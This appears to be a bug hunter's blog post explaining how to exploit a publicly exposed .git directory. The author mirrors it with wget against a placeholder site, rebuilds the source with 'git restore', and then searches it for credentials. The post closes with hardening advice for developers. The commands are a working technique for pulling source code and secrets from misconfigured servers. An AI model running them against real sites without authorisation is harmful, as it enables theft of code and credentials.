Exploiting Exposed .git Directory Without GitTools

Disclaimer: this might only works with exposed .git directory with directory listing enabled.

TLDR:

$ wget --mirror --convert-links --no-parent --wait=0.5 https://sub.vulnerable-site.com/.git/
$ cd sub.vulnerable-site.com
$ git restore '*'

So recently I just found an exposed .git directory, as usual, I ran GitTools’ to dump and extract that particular directory. But as I run the extractor, I encountered an error that stopping me from extracting the dumped .git directory and it was absolutely interfering with my regular workflow while dealing with this kind of vulnerability.

$ ./extractor.sh ../Dumper/git_dump/ ./git_dump_extract

[*] Destination folder does not exist
[*] Creating…
[!] fatal: Not a valid object name: ‘infopacks’.

*Please note that I’m not coming from a developer background, my knowledge about git is merely limited to clone, pull, push, and commit xD.

I tried to Google the error message but none of the answers solved the problem. After a while, I remembered one particular machine in HackTheBox that has this kind of problem, it was a Gitlab container that required the user to backup and extract all of the repositories stored in the system in order to retrieve an SSH private key inside one of the extracted repositories to gain access to the host of the Docker container.

Then I immediately thought “Does that kind of workflow can also be applied here? 🤔”.

After a quick Google search it seems like git also has a “similar” feature.

Introducing the “git restore” command. According to the docs “git restore” is used for restoring the working tree files.

It may seem it doesn’t really fit the Gitlab scenario I mentioned above, right?

But it does fits in, though in quite metaphorical way. The differences being:

• In the Gitlab scenario I backup the repositories using the “gitlab-backup” command which retrieves some .tar packages to be then extracted with “tar xzvf” to inspect the content.
• In this scenario I “backup” the repository by downloading it from the vulnerable site to be then “extracted” using the “git restore” command.

It’s quite the same right? 🤣

Okay lets just jump into the exploitation.

1. Download the .git directory (I added the .5s delay because the server gave 503 Service Unavailable without it).

$ wget --recursive --mirror --convert-links --no-parent --wait=0.5 https://sub.vulnerable-site.com/.git/ 

2. Move to the download directory and restore the files.

$ cd sub.vulnerable-site.com
$ git restore '*'

3. ??? (Jk.. do your stuff, inspect the content, grep for sensitive info, analyze the code, etcetc).

4. Profit :)

Although the .git repo I got was last updated 5 months prior to the time I found this bug, I was able to found some high risk vulnerability and some reusable credentials in the extracted source code.

Moral of The Story

For developers and/or sysadmins :

1. Never.. ever.. publicly expose your .git directory.
2. Use proper .htaccess to block access to any directory starting with “.”.

For hackers:

1. Try HackTheBox, it’s great.
2. RTFM lol.